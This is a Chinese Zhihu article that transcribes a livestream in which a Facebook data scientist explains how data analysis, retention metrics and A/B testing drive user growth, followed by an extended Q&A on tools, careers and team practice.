数据分析驱动用户增长

作者:邹昕
链接:https://zhuanlan.zhihu.com/p/21435486
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

非常荣幸知乎邀请我做了一次关于如何通过数据分析驱动用户增长的直播, 计划是先讲大概半个小时左右,然后有半个小时的时间大家自由提问。 后来实际情况是先花十几分钟时间回答了几个问题,然后讲了半个小时多点,再花了大概一个小时回答后续的问题。
由于是第一次做直播,对系统也不是很熟悉,有很多可以提高的地方。很多问题很有意思,所以花了点时间把内容整理成文字,希望对更多的人有帮助。
由于个人水平有限,同时需要兼具到不同的需求,这次直播的内容适合作为入门读物。
自我介绍先简单介绍一下我自己。我是清华生物系本科和硕士毕业,之后去北卡大学念药物药理学的博士,中间发现自己不适合走生物科研的路,所以在博士开始两年多的时候决定转硕士走人。很幸运的是当时的导师也很理解和支持我,拿到硕士之后我重新申请了北卡州立大学的数据分析的项目。毕业之后在 Discover 公司做信用卡风险模型和数据分析,大概工作了两年多。Discover 在国内有一个数据分析部门,发展得挺快的,现在应该是一两百人的样子,部门在上海,国内的翻译叫高沃,意思是高山沃土,有点奇怪的名字,听起来像是做农业啊化肥啊什么的。
最后在今年年初的时候跳槽到 Facebook 做数据科学家,我们组是做用户增长的,我负责的一块主要是跟用户好友关系、好友推荐系统相关的数据分析。今天的分享就是关于互联网公司是如何用数据分析来驱动用户增长的。
需要说明的一点,由于 Facebook 有严格的保密要求,所以这次直播内容肯定是不会透露属于内部消息的数据、产品或者策略之类的,我们公司对这个要求是非常的严格。所以直播里提到的例子如果涉及到 Facebook 的话,都会是已经公开的信息。

行业特点

说到互联网产品的用户增长,可能大家都有所耳闻。与传统行业相比,互联网相关的产品有几个不一样的特点。一是由于网络效应,由于互联网相关产品更容易扩展,更有可能出现爆炸性增长的局面。二是互联网行业更容易出现赢者通吃的局面,比如优酷和土豆的合并,携程和去哪的合并,立马形成行业垄断。三是在行业发展前期一旦有一个好的产品领先,后来者就很难翻盘了,所以互联网行业会出现前期大量烧钱抢占市场和用户的局面,比如 Uber 是一个特别典型的例子。
Retention / 用户留存

对用户增长来说,什么是最重要的呢?有人说是用户最重要,有人说是 Acquisition 也就是新用户获取最重要。在 Facebook 内部来说,以及很多热门 Startup 来说,最重要的是 retention,也就是用户留存。这也是为什么十几年前,Facebook 刚创立的时候,大家通常用的指标都是注册用户。Mark Zuckerberg 从一开始就很明确,注册用户并不是最重要的,最重要的应该是活跃用户。
用户留存曲线

好的产品和不好的产品用户留存是什么样子的呢?有这里就需要提到一个概念 J 曲线。如下图所示,横轴是从注册开始到现在的天数,纵轴是活跃用户的比例。这里用的例子是月活用户,也就是说如果过去一个月之内你用过这个产品,那么你就算是一个 active user。很显然,注册开始第一天,大家都是月活,第二天第三天直到30天都是如此,从第31天开始,有一部分人不是月活了,因为他们只在第一天用了,之后就再也没用过,以此类推第32天33天等等。一个好的产品,应该是像黑色曲线这样,随着时间的推移会有下降,但是到一定程度之后会趋于跟 x 轴平行。如果你看到一条红线这样的用户留存曲线,那就你就需要好好研究一下你的产品了,因为这意味着随着时间的推移,所有注册用户都会放弃你的产品。那么即使你把全世界的人都抓来注册了,终究月活用户数也会变成0。

用户留存 vs. 新产品

推出新产品的时候,用户留存曲线是非常重要的,以确保有一个足够好的产品,接下来才是把这个产品推向更多用户的时候。其它互联网公司比如 Airbnb 也有类似的策略。当然不同的产品,关注的指标很有可能是不一样的。比如说微信,假如你看月活的话,那可能意义就不是很大了。一个月用一次微信的用户,说有不了什么问题,更应该关注的可能是日活,或者发了多少条信息这种。那么对于 Airbnb 来说,月活则是一个比较适用的指标,其它比如每个月有多少房间预订之类,也是应该关注的指标。
神奇时刻 — magic moment / Ahhhaa moment

假设现在你有一个很好的产品,用户注册之后过一了段时间也还是有很多人留下来继续使用。那么接下来怎么做用户增长?
很多社交网络产品都提到一个概念叫 magic moment,直译过来的话就是神奇时刻。什么算 magic moment 呢?比如对于 Facebook 来说,你注册之后,在上面看到你现实生活中认识的好友,看到他们的照片,状态等等。这个时候对新用户来说,心里想的是啊!原来 Facebook 是干这个用的。比如对于知乎来说,可能是在答了一个题之后,看到小红点显示有人点赞,或者是感谢,或者是关注等等。同样,对于LinkedIn,Twitter,微信,微博也是类似,新用户或者是找到他们想要联系的好友,或者是找到他们想要粉的人,这一时刻让用户有继续使用下去的动力。

例子 — 用户留存率 vs. 好友数

对于很多社交网络产品 比如说 LinkedIn 来说,一个很简单便是很有效的分析方法,就是看用户留存率跟好友数的关系。当你的好友数低于某一个值的时候,用户留存率会非常的低。当好友数量达到一定数量的时候,再增加好友数对留存率的影响就很小了。那么确定下来这个值之后,工程师们要做的就是以这个为目标进行各种产品改进、优化、新产品开发等等。有人可能会问了,这里面有个很显然的问题,就是你只能说明这是相关性,而不是因果性。但是最终解决办法其实很简单,不管 Facebook 也好,微信也好,如果你没有好友的话,肯定是没有人会继续用的。所以这里面肯定有因果性在里面。同时肯定也有相关性,很大程度上二者肯定是相互影响的,通常来说好友越多,更有使用产品的动力。产品使用的更好,好友也更多。
A/B 测试

上面一段提到在设定某一个目标之后,工程师们接下来就要通过各种产品改进、优化、新产品开发等,互联网公司基本上都是通过 A/B 测试来确定是否发布产品,是公司产品开发非常重要的一环。在湾区这边有一个 meetup 小组就是专门讲 A/B 测试的,像 Uber, LinkedIn, Netflix 等等都在这个小组介绍过各个公司是怎么做 A/B 测试的。
接下来就以 Airbnb 为例子来说明 A/B 测试为什么重要,如何做 A/B 测试,以及中间可能遇到的问题。

例子来源:nerds.airbnb.com/experi

为什么要做实验

实验是最有效的证明因果关系而非相关性的工具。以 NBA 为例,数据显示,当科比出手10-19次时,湖人的胜率是71.5%;当科比出手20-29次时,湖人的胜率骤降到60.8%;而当科比出手30次或者更多时,湖人的胜率只有41.7%。
根据这组数据,为了赢球,科比应该少出手?并不一定如此。有可能科比出手少的时候是因为队友状态好,并不需要他出手太多。也有可能是因为球队早早领先,垃圾时间太多。而出手太多的比赛是因为比赛艰难或者队友状态不好,需要他挺身而出。当然,以上也只是可能之一,具体是什么情况光靠这组数据并不能得出任何结论。

A/B 测试的用处
对 Airbnb 来说,很多时候一个新产品的发布,是很难说明结果到底是新产品的呢,还是别的因素。如下图所示,红色部分是新产品发布和撤回的时间段,这期间的变化到底是因为产品呢,还是别的因素?有可能用户受到时间的影响,比如周中和周末的区别,是否假期,天气等等。对于 Airbnb 这种旅行相关的公司来说,这些外在影响尤其大。通过实验则可以把产品的影响跟别的外在因素的影响区分开,产品做一个小的改变,跟对照组进行对比,这就是 A/B 测试。

实验需要跑多久?

A/B 测试的老大难问题:实验跑多久最合适?结束太早可能产品的真正效果还没有足够时间体现出来,实验拖太长会影响产品迭代改进的效率,这对诸如 Airbnb 这样的初创公司还是 Facebook 这样讲究 move fast 的公司来说,都是很麻烦的事情。
例子 — 搜索价格范围

Airbnb 曾经测试过把价格选择范围从最高的$300改成$1000。一周之后,根据下图的红线显示,实验效果显著 (p<0.05),也就是说改成$1000之后预订会增加。但是事实上实验继续进行下去的话,你就发现这个改变其实是没有效果的,最终也没有统计显著 (p>0.05)。


不过虽然这个测试的结果是中性的,考虑到有一部分用户的确需有查找高端房源的需要,Airbnb 还是决定把最高搜索价格从$300改成了$1000。那么到底实验应该进行多久呢?通过各种复杂的统计分析,Airbnb 总结出了一套动态决定边界(Dynamic decision boundary),综合考虑p值和实验进行的天数。

全面理解实验结果

通常来说,选定一个或几个指标(metrics)来分析实验结果,以免主观挑选实验结果(cherry picking)。但是仅仅看一个指标也是不行的,很容易就错过全局,一叶瞕目。比如 Airbnb 做过一个非常大的改动,在用户搜索的结果显示里,更加强调房源的照片和在地图上显示的地点。项目非常大,大家都认为结果会很好,用户调研显示也是如此。
尽管如此,Airbnb 还是决定如常做一下 A/B 测试,然后发现了问题:结果基本是中性的。幸好 Airbnb 的数据科学家们并没有就此结束,相反,他们看了看不同的方面,包括在不同浏览器的效果,发现 IE 是最大问题所在。很快进一步发现,新产品在某些老版本的 IE 上会有 bug,以至于预订率了超过3%。修复了在 IE 上的 bug之后,立马预订率就变成提高超过2%,与其它浏览器上效果类似了。这是一个非常典型的例子。很多时候看到中性的实验效果,不妨根据不同的维度进行细分,比如浏览器、同家、用户类型等等。

问题: Twitter 2015 年用户增长为 11%,这是否存在增长的危机?为什么?

结果 too good to be true

不管是自己打造的 A/B 测试系统,还是使用第三方的系统,都是有可能出问题的。如果默认系统都是有效的话,有时候麻烦就来了。有时候可能是使用过程中出了问题,有时候可能是系统本身的问题。最简单的办法是跑个 A/A 测试,也就是实验组和对照组都是一样的产品,然后看系统结果怎么说。Airbnb 做过一系列 A/A 测试,发现在实验组和对照组的用户数量基本一致的时候,系统是正常工作的,显示中性的结果。但是当对照组的用户远超实验组(75% vs. 25%)的时候,结果显示高达-15%的偏差。最后发现原因在于对用户的追踪问题,很大一部分用户没有正常的记录到实验组里去。未必每一个公司都会碰到完全一样的问题,不过适当的进行 A/A 测试,确保系统正常工作是非常重要的。

据驱动用户增长的前提

首先需要有一个好的产品。其次在创业初期,所有人都需要有这个概念。最后需要要 infrastructure 的支持,诸如 logging,dashboard,A/B 测试系统等的建立。例如:Uber 的 A/B 测试系统

eng.uber.com/wp-content

彩蛋:知乎数据分析的机会

问答环节Q: 数据分析的用户量达到多少,分析结果才靠谱。A: 通常对大的互联网公司来说是百万级别,当然这对于多数公司是没法有这么大的用量的,所以通常情况下来说需要看产品本身用户量的大小,个人感觉一般一万以上是一个基准。当然除了用户量大小以外还需要看统计检验的显著性,以及实验的时间来综合考虑。
Q: 工作中主要使用的分析工具是什么?除了 Python, R, SQL,平时工作中是否还有更多或者更有针对性的工具使用要求?A: 工作中最主要使用的分析工具是 SQL, SQL 和 SQL。通常 ad-hoc 的一些分析基本都是 SQL 来做,如果数据量大了之后通常就是 Hive,但是 Hive 基本语法跟 SQL 的类似的。再就是用 Python 写 pipeline,这里面 python的作用是写一个自动跑 SQL 的脚本,所以其实还是写 SQL。除此之外数据可视化也是一个比较重要的方面,通常 Excel 和 Tableau 是很有效的两个工具。也有人会用来 R 或者 Python 来做数据可视化这一部分。总体来说最基本也最重要的工具就是 SQL。
Q: Facebook 如何通过旗下不同平台 (messenger, WhatsApp, Snapchat, Facebook Timeline) 收集、管理和使用同一用户的信息。A: 具体怎么收集和管理同一用户的信息不太清楚。如果用过 Facebook 和 Instagram 的话应该会发现如果在 Facebook 上加了一个好友,同时你们也上 Instagram 的话,那么会收到提醒说要不要 follow 他/她的 Instagram 之类。另外 Snapchat 不是 Facebook 旗下的 :)
Q: 一般如何选择 A/B testing 的 sample groupA: 涉及到以下几个方面,首先是需要考虑 sample size,可能一开始是 1%, 然后增加到更大比如 5%, 10%, 50% 之类。其次是需要考虑到产品会影响到哪一部分的用户,比如 iPhone 或者 Android 用户,或者是只影响到某一个国家等等。最后是需要考虑到 testing 的时间,根据不同产品不同测试的要求,可能是几天或者几周不等。
Q: Facebook 有什么著名的基于数据的 User Growth Campaign?A: 一个例子是用户好友推荐系统。解释一下这个功能就是根据用户的情况来推荐好友,可能很多人非常不喜欢这个功能,比如说会觉得推荐的人不是很相关啊或者推荐了现男友的前女友啊或者前男友的现女友啊之类。当然推荐系统有很多提高的地方,但总体来说这个功能是非常成功的。一方面在几年前的 F8 大会上公司介绍过对新用户来说,在初期达到某一数量的好友数是非常重要的,这其中好友推荐系统就是一个很重要的功能,给用户省了很多事。另一方面在 Facebook 推出这个功能之后,别的很多公司也有类似的功能,比如 LinkedIn 推荐 connection, Airbnb 推荐房间等等。
Q: 对于一个具体的目标(例如“好友推荐”, DAU,乃至“盈利”等),如何建立相关的数据模型、设立相关指标,如何完成数据的难与改进的流程。A: 首先需要考虑的产品组设立的具体目标跟公司的总体目标是不是相一致的,如果提高了这个产品的具体目标,但是对公司总体的目标却没有影响,甚至是反面的影响,那就需要考虑一下哪里出了问题了。其次是设定了一个具体目标之后,最好在一段时间内坚持这个目标,而不是经常做一些改动,否则的话会影响到数据分析的效率,比如说要构建新的 dashboard/report/pipeline 之类。最后每过一段时间需要再回过头看具体产品组的目标跟公司的长期发展目标是不是一致的,包括 back test 以及 long term holdout 等测试。
Q: 一个优秀的数据分析师应该具有哪些基本功和特质?优秀的数据分析者和平庸的数据分析者的差距在哪里?A: 一个优秀数据分析师具备的基本功首先是在技术上达到一定的要求,其次是对产品有一定的了解,包括产品开发从头到尾的整个流程,这是基本的要求。那么要成为一个优秀的数据分析者,我觉得最重要的一点是能够对身边的人产生影响。比如对工程师的影响,让他们也能通过数据分析来发现问题,因为他们是具体开发产品的,对产品的理解是非常深刻的(通常情况下对产品和细节的理解要比数据分析师深的多)。所以如果把自己的经验分享给工程师、产品经理等,让他们一起利用数据来分析问题解决问题,这样的话对开发、改进产品是非常有效的,会成为一个非常优秀的数据分析师(向这个目标努力)。
Q: 数据分析在产品改进、公司决策应当牌什么位置,当两者出现了矛盾的时候如何解决?A: 通常来说对于短期目标来说是由数据分析的结果来决定的,当然前提数据分析的结果是正确有效的,这种情况下一般来说是数据说话。那么对于长期的目标来说数据分析的作用会小一些,更多的是由公司的决策层来决定整个方向。比如说互联网产品从桌面端向移动端的变化,这个通过数据分析是很难体现出来的,因为现有的数据不一定能说明将来的发展,当初大部分人使用电脑,但是最几年用户更多转到手机等移动端,那么这种情况是很难通过数据来体现的,这个时候就需要看决策层的眼光了。比如说从腾讯的重心从 QQ 转到微信,Facebook 从桌面端转到移动端这种大的方向转变,个人感觉数据分析起的决定性作用都比较小。
Q: 当前硅谷来说,数据分析的主流运用场景在哪里?未来数据分析的趋势是怎样的。A: 主要几个场景:第一是各种 A/B testing,这是用得最多最广泛的场景,也就是产品改变好还是不好,都需要通过 A/B testing 来决定。另外一个就是通过数据分析来监控一些异常情况,通过过去的趋势来看是不是有异常情况,比如说过去一天或者一周用户突然增加了 10% 或者 减少了 10%,那么就需要通过数据分析来看这到底是正常的波动呢,还是某些方面出了问题。最后就是通过数据分析来寻找机会,比如产品哪些地方可以改进之类。未来数据分析的一个重要的趋势是如何从大量的数据里找出有用的信息,因为现在数据实在是太大太杂太乱太快了,如何从这些数据里挖掘出有价值的信息变得非常重要。另外一方面是如何根据产品的需求寻找新的数据来源,为改进产品服务。
Q: 数据分析项目(或产品)的研发过程中,分析师和业务人员有哪些合作?A: 如果这里面的业务人员指的是产品经理以及工程团队的话,合作是非常紧密的。一个典型的研发过程是通过数据分析发现产品某个方面或者流程有改进的机会,然后产品经理以及工程团队(程序员)沟通是否可行,其中可能还会涉及到设计人员对产品的改进,最后由程序员来实现需求。接下来再通过实验比如 A/B 测试看效果,有需要的话会有多次的迭代、改进。效果好的话那么就可以发布新产品,同时后续还会通过数据分析来追踪产品的表现 (performance),整个流程下来数据分析跟产品经理、设计、程序员都是紧密相关的。如果说业务人员指的是运营相关的话,那基本是没太有什么交集的。
Q: 对于小公司、小行业来说,最大的竞争对手网站每天的日活量也就 10 万上下,这样想做数据分析,分析的用户量应该确定到多少呢?A: 如果是做 A/B 测试的话,1 万以上的用户量差不多是下限了,再少如果几千的话,那需要测试的差异非常明显才能够比较明确的说这个差异是真的差异呢还是一些背景噪音。如果是做类似漏斗分析或者用户转化图这种的话,那么上千的用户量就可以开始有这个概念了。当然需要注意的是数据分析是有局限性在里面的,尤其对于产品、公司发展初期来说,不要把过多的精力放在数据分析上面去追求统计显著之类,而应该是更多的打磨好产品,找到产品合适的市场。
Q: 现在的工作都是 SQL 做 CRM 的 report,有 adhoc 有 regular,但觉得都没什么创造性,很机械没前途啊。。。该怎么往更偏 solution 方向的职位跳呢?A: 需要改进的方面最重要的一点是对产品的理解。因为数据分析的最终目的是改进产品本身,或者说让更多的人使用产品。不管做 report 也好 adhoc 也好,数据分析最重要的结果是这些对产品有什么意义,比如提供哪些可以改进的方面,哪个步骤是有问题的等等。为了做到这一点首先就需要对产品有一个很深刻的了解,而不仅仅是把目光集中在数据分析这一点上。另外还可以通过自己的特长和经验来影响合作的人,比如说产品经理、程序师等,让他们也能方便的使用数据来帮助产品开发。
Q: 在金融场景中,由于风险的滞后性,导致测试周期非常长,有什么方法能较好解决这类问题吗?A: 总来说这是由于行业特性决定的,基本上很难有什么好的解决办法。我之前在信用卡公司做风险控制,比如说看用户的坏帐率,基本上都是看长期的结果,比如说 6 个月,一年或者两年这种。再考虑到开始设置实验对照组,模型开发、数据分析的时间,还有之后看模型表现 (performance) 的时间,整个过程就更加的长了。假设是看 6 个月的风险,现在开始设置实验对照组,那么要能看到用户的表现的话至少需要等到 6 个月之后,再开始花几个月半年(这算比较快的)做模型和数据分析,之后再等 6 个月看结果,所以一个项目完整的流程下来都是至少一两年的。基本上是由行业特性决定的,不可能像互联网行业的一些项目周期这么快。
Q: 想问怎么看待 FB 用户增长降低,原生内容分享减缓,用户流向 Instagram 的情况呢?A: 首先根据每年的公开数据来看 FB 用户的增长并没有降低,当然这个增长速度是不可能一直持续增长十几年,因为世界上一共就那么多人。至于原生内容分享减缓,这个的确有一些这样的报道,个人感觉对于 Social network 来说基本都会有这样的趋势,比如说十几年前最开始大家用 Myspace,然后 Facebook 出来之后大家觉得这个比较酷就都使用 Facebook 了,随后有 Instagram, Snapchat 等的出现,用户又有一部分转到这些。国内的互联网市场基本也有这个一趋势,比如十几年前我上大学的时候校内网也就是后来的人人网非常的火爆,后来微信出来之后大家一窝蜂的涌到了微信。对于这种情况来说,就公司领导层的动作来看一个应对方法就是通过收购,比如 Instagram 和 Whatsapp 都被收购了,所以如果说有内容流向 Instagram 的话那是没什么太大的问题的。此外根据公开的报道,对收购 Snapchat 也是有过兴趣的,只是最后没有谈成。第二个应对就是公司自己需要持续开发新的产品。比如说微信是一个很好的例子,腾讯并没有因为有 QQ 的存在就一直把目光局限在这上面,而是从自己内部打破,开发出了微信这款神级产品。因为对互联网产品业说,如果停步不前不保持改变的话,那么终究是会被别人打破超过的。与其这样不如自己开发出新的产品来超过原来的产品。
Q: 2B 的业务有成熟的数据分析驱动客户的案例么?A: 一时想不起来有特别典型的案例,感觉比较接近一点是 Uber。虽然 Uber 的最终目的是给打车的人提供服务,但是他们很重要的一点策略是通过先打开大量的司机的市场。因为司机数量上来之后,首先是大家会发现打车的等待时间会变得非常短,另一方面是司机之间的竞争变得更强,更容易提供优质的服务,所以客户的体验会有一个大大的提高。另外一个例子大家可以关注一下国内的一个公司收 GrowingIO,是 LinkedIn 前 business analytics 老大回国创立的 startup,他们主要做的是给公司提供数据埋点、分析的服务,大家可以关注一下,我觉得他们长期来看是会有一个很好的发展的。
Q: 能分享一下在工作中各项任务的时间占比例吗?A: 这个根据不同的时间段会有不同。 如果是在定期做规划的时候,会有很多跟产品组其他人员的沟通,比如说产品经理、工程人员、设计等,大概 50% 的时间的样子。另外一半的时间就是把之前一段时间的分析整理总结一下,通过这些结果来找到下一个阶段的产品需要改进、集中资源的地方。这个时间段的话,那基本是大概 20% 的时间用来跟产品组其他人员沟通,剩下 80% 的时间做分析。做分析的时间里面大概一半是一些 adhoc analysis,20%-30% 做一些对长期来看有好处的工作,比如说 pipeline 的工作把一些过程自动化。还有一部分时间就是看已有的一些 report/dashboard,包括监测有没有异常啊,产品的 performance 是否符合预期等等。
Q: 请问国内哪些行业对数据分析师需求量特别大?游戏行业怎么样?A: 个人了解的比较多的是互联网和金融行业,当然这个是有 bias 的,因为我之前在金融行业,现在在互联网行业,那么自然认识的这两个行业的人也会比较多,国内联系我的猎头基本也是这两个方面的。比如说一些机会像阿里,支付宝,蚂蚁金服等,要么是跟互联网相关,要么是跟金融相关,要么就是互联网金融。至于游戏行业的话对于国内不太了解,美国这边也有一些相关的工作职位。不过个人感觉总体来说最大的还是互联网和金融这两个行业,此外还有管理咨询行业也增加了很多数据分析相关的职位。
Q: 一个优化目标对应的可验证的改进点有很多,比如一个简单的注册指标,需要考虑注册界面的各个因素,还有很多其他因素。请问怎么确定应该验证哪些点?以及如何确定验证的优先级?A: 首先需要考虑的是做一个整个流程的数据,比如以注册为例,有多少人到这个页面,多少人开始这个流程,每一步一直到最后有多少人确认了注册整个过程。之后看一下各个步骤的转化率,找到特别低的一个或者步骤。另外还可以跟类似的产品的对比,不同地区、不同用户的比较等等,看哪一个步骤的转化率相对来说特别低,那么这就需要优先考虑的地方。
Q: 数据分析能用在微信公众号或者视频内容吗?如果可以,能分别举个例子吗?A: 关于微信公众号或者视频内容我个人没有什么经验,公众号也是前段时间才刚开的。不过我感觉跟互联网产品是相通的,最重要的一点还是 retention retention retention。初期的时候需要保证有一个好产品,有好的内容,确保用户来了之后会留下来继续保持关注你的内容。如果没有做到这一点的话,那很有可能拉来很多新用户,但是一段时间之后他们发现内容没有什么特别的,那么接下来要么就取消关注,要么就不再打开内容了。所以最开始需要先把内容做好,在保证留存率的基础上再开始做推广。当然我对这方面的产品并不太熟悉,只是根据其它互联网产品的经验的一些想法。
Q: 机器学习中的算法在数据分析中的应用现状是怎样的,所占比重大吗?会与产品的设计挂钩吗?邹老师怎么看机器学习在数据分析中的前景A: 机器学习跟数据分析二者是相关,因为机器学习的算法做出来最终终要看的是对产品的影响。比如说一个排序系统,最终要看它是否增加了更多的用户,增加了用户的活跃度、增加了用户的粘性。机器学习对产品的影响我觉得是长期来看肯定是会非常大的,比如说 Facebook 的 Newsfeed,它不是按时间来排序的,因为最近发生的事情不一定是用户最关心的。这个产品不管对公司来说还是对用户来说都是有好处的。比如说公司可以有巨大的广告机会在里面。对用户来说可以优先看到机器学习排序出来的最重要、用户最感兴趣的那部分内容。当然这个机器学习的结果永远不会是完美的,需要不停的改进,也正因为这样个人以为它的发展前景是非常好的。跟产品设计是直接相关的,一般来说机器学习这一块是跟工程组在一起的,也就是程序员/码工们一起的,跟产品的联系非常紧密。(知乎也可以按机器学习的结果来排序 Newsfeed,不过不是强制的。个人猜测终有一天会是强制按机器学习的结果来排序)
Q: 硅谷现在有哪些专门做数据的公司?主要业务是什么呢?A: 最有名的应该是 Palantir Technologies 了,专门给政府、军队、国防部门提供数据服务的,创始人是 Paypal 黑帮那几个像 Peter Thiel 等等。非常有意思的一个独角兽。
Q: 工作中有遇到用户增长/产品数据分析的KPI和公司sales business KPI不同的情况。想问邹老师有没有遇到过类似的情况,有没有协调的方法?A: 这个在现在的公司没有遇到过,因为我们产品组这边跟 sales 基本是没什么交集的,所以也不存在 KPI 打架的情况。在之前公司有 risk 跟 marketinng 的 KPI 不同的情况。因为 risk 部门的一指标就是用户的风险高低,也就是最后看到坏帐率,而对于 marketing 来说最重要的是有多少新增用户,这两个很多时候是相爱相杀的。如果需要获取更多的新用户的话,那很有可能就要降低风控的标准,坏帐率就上去了。如果要控制坏帐率在一个较低的水准的话,那么获取新用户的难度就加大了,因为毕竟只有那么优质用户在外面,要么用高成本获取新的优质用户,比如说各种 promotion,要么就只能降低风控 (underwriting) 的标准了。碰到这种情况的话基本根数据分析关系就不是太大了,主要是老大们说了算。
Q: 请问数据分析师从长远来看会取代传统的user 和 user testing吗?A: 我觉得暂时来看是没法取代的,因为数据分析更侧重在产品这一块,而 user research 或者 user testing 更侧重在用户这一块。虽然对产品的分析可以了解到一些用户的想法,user research 还是更直接一点,比如说用户的想法这种是很难通过产品本身的分析来发现的。再者 user research 还有可能发现一些新的领域,也是对现有产品分析的一个补充。所以个人感觉几年之内是没法取代的。
Q: 请问有没有数据分析相关的专业书籍或者书籍推荐呢?A: 首先可以参考统计基本的东西,说实话我自己没有看过什么跟数据分析相关的专业书籍,只是学过一些统计的东西。至于数据分析相关的可以推荐的话首先可以参考一下管理咨询方面的案例,从这里面找找灵感,比如 Case in Point。其次除了书籍以外还可以参考一些网上的信息,比如知乎也好一些微信公众号也好,都可以找到一些很不错的资源,有时候知识系统更新会比看书更快一点。
Q: 请问知道一些在学术机构应用数据分析的案例吗?比如科学计量或者数据管理一类的.A: 对学术界不太了解具体的案例,不过就我所知现在很多商学院发 paper 什么的也是有数据支持的话会更容易发好杂志一些,别的像计量相关的学科也有很多都要用到数据分析,算是一个趋势。
Q: 能分享一下国内或者国外数据分析这个行业职业发展的情况吗,比如什么行业/公司会设置专职的数据分析职位,发展情况如何呢?A: 首先讲讲在美国这边的发展,基本上职位空缺是挺多的,主要是集中在互联网和金融行业,现在管理咨询行业相关的职位也越来越多,至少近期几年来看发展情况还是相当不错的(当然没法跟码工比了)。国内的话也是集中在互联网和金融行业,比如阿里、蚂蚁等等。
Q: 在用户推荐上,如何解决多个不同场景推荐问题,场景可能会非常多,几十个,几百个,上千数万。A: 对用户推荐系统的开发不熟,个人感觉是针对不同场景,可以把场景作为一个输入 (input),这样来达到每个场景有针对性的推荐。
Q: 数据分析跟产品经理的配合是怎样的?目前很多互联网公司都还没有数据分析师,在有数据分析师的公司,数据分析师和产品的合作方式也不是很清晰。A: 不同的产品或者不同的组会有区别,也要考虑到产品经理和做数据分析对产品以及数据的理解。通常来说二者是合作的关系,一个比较理想的合作流程是数据分析师基于对产品的理解,通过数据分析发现产品可以改进的地方,同时产品经理也懂数据,这样沟通起来更顺畅。当然具体到实际工作中会有区别,比如说如果产品经理比较资深的话可能更多的是产品经理提出需求,然后数据分析师来回答这些问题。反过来如果数据分析师比较资深的话,那么可能会更独立一点,不太理会产品经理的问题。总体来说比较理想的状况是二者互相合作,同时对对方的领域也有一定的理解,便于沟通。
Q: 如Facebook一开始没那么多的用户量,只有哈佛学生时数据分析还能用吗?数据分析是只能在用户量十万以上时才能发挥最大作用吗?A: 在产品用户量非常少的情况下,只需要做非常非常基本的数据分析,也就是用户来使用产品之后是否留下来。其它的比如 A/B test 也好,通过数据分析找机会也好都是不需要的,因为这些涉及到很多成本,尤其是时间上的成本对产品初期的快速迭代是有害的。只有在用户量达到一定阶段之后,才需要 A/B test 之类的介入,以达到数据分析的最大作用。
Q: 一家互联网公司的数据分析团队应占这家公司员工的比重是多大呢?对于小型初创公司,数据分析团队是必要的吗?A: 我觉得理想的比例是这样的,一个产品经理,一到两个数据分析,10-20 个工程师,以及一个设计方面的。对于小型初创公司来说,并不需要数据分析团队,而是团队里每一个人都应该懂一些最基本的数据分析(像上一条提到的,这时候的数据分析也不需要太复杂),然后通过这些基本的分析把握一个大的方向就可以了。像 A/B test 这种更多的是进行一些优化这种,对于小型初创公司来说是没有必要甚至有害的。如果产品的效果需要做 A/B test 才能看出差异的话,那么用户增长可能也是很缓慢,对于初创公司来说是很危险的。
Q: 做数据分析如果想进Facebook的话,您有什么建议吗?招聘时看重哪些标准呢?比如说发论文参加比赛之类的。录用国内的学生可能性大吗A: 如果指的是做数据分析也就是 analytics 方面的话,发论文参加比赛包括算法比赛,Kaggle 之类用处是不大的。最重要的几个方面,一是对产品的理解,比如说用什么指标来看产品的好坏,怎么设计实验,如何分析实验结果等等。二是技术方面的,这个最主要的就是写 SQL 了。另外还有就是一些基本的数学、概率、统计方面的知识,以确保做的分析是正确的。对于从国内直接过来的机会相对比较小,一是因为不同的工作环境、文化的差异,二是涉及到工作签证的问题。现在工作签证(H1B)都是需要抽签的,也给国内直接应聘美国这边的工作带来了很大的障碍,暂时还没有接触到做数据分析的这样的例子。
Q: 传统行业(零售)的区域销售经理,平时也会用Excel分析自己的销售数据,如何转行到互联网企业做数据分析呢?是不是去读一个专门的硕士比较好呢?刚才听您讲的内容,感觉很多方法都和传统行业是相通的。应用场景不一样。A: 首先最重要的一点是技术方面需要一个变化,最基本的 SQL 是需要会的,Excel 是肯定不够的,其次别的诸如会 Python 之类也是很有帮助的。如果有一些大数据方面的经验比如 Hive 之类也是很有帮助的。从传统行业到互联网行业做数据分析的思路应该是有很多相通的地方的,需要加强的更多的是对产品的理解,数据来源的理解。至于读一个专门的硕士的话我觉得是没有特别的必要,当然如果时间短见效快的话可以考虑,可以参考一下以前毕业生的去向,如果很大一部分都去了互联网行业的话那可以考虑,如果只有很少一部分甚至没有毕业生去这个行业,那就要谨慎考虑了。你可以用数据分析的思路研究一下相关项目。
Q: 除了职业发展相关,从你的经验看,数据分析(或者相关的工具方法)在生活中有没有应用的场景,帮助个人提高效率, 理财之类。A: 这个实在是没有想到什么好的例子。
Q: 请问如何培养自己数据分析的思维?感觉数据分析需要有很全面,逻辑的思维?A: 的确如此,数据分析需要很全面、逻辑的思维,这也是为什么这边数据分析招的很多人并不是从统计专业过来的,因为传统来说统计跟数据分析完全相关的,但其实不完全是这样,统计对数据分析来说更多是一个基础,还需要看分析的思路。很多以前一些理工科的比如说学物理啊之类的在做这一块。比如说以前读 PhD 的时候一些研究问题的思路是很有效的,虽然中途 quit 了,但是后来工作的时候发现这些提出问题解决问题的思路是很相通很有帮助的。至于如何培养自己数据分析的思维,我觉得最有效的办法是去念一个 PhD(开个玩笑,念 PhD 时间实在是太长了,五六年就过去了,还是不要念了)。我在之前的一篇文章里提到一个例子,也就是在使用 google map 的时候,到了目的地之后会显示目的地的街景,那么这个时候你就可以问自己很多问题,比如说为什么要显示街景,除了街景还可以显示什么?比如显示附近的停车场?那么什么时候应该显示目的地的街景,什么时候应该显示附近的停车场,如果来测试哪个效果好等等。就跟小孩子一样多问几个为什么,平时多做这种思维训练还是很有帮助的。

前段时间一位本科直系师弟不幸离世,虽然跟他没有什么直接接触,但是从同学中得知为人非常不错,然而却遭此厄运,小孩出生才几天。

本次直播 300 人,门票每人 17 元,共计 5100 元,多亏了知乎的平台和知友的抬爱,而不是我本人的能力。所以捐出了其中 5000 元给这位师弟的家人,祝他们安好。剩下 100 留着发红包了。

RIP

题图来源: haptik.co/blog/wp-conte

Facebook开源软件列表

从Facebook的GitHub账户中可以看到,Facebook已经开源的开源项目有近300个,领域涉及移动、前端、Web、后端、大数据、数据库、工具和硬件等。Facebook开源项目负责人James Pearce曾在OSCON解释过Facebook究竟为何要使用、支持和发布开源项目。具体如下:

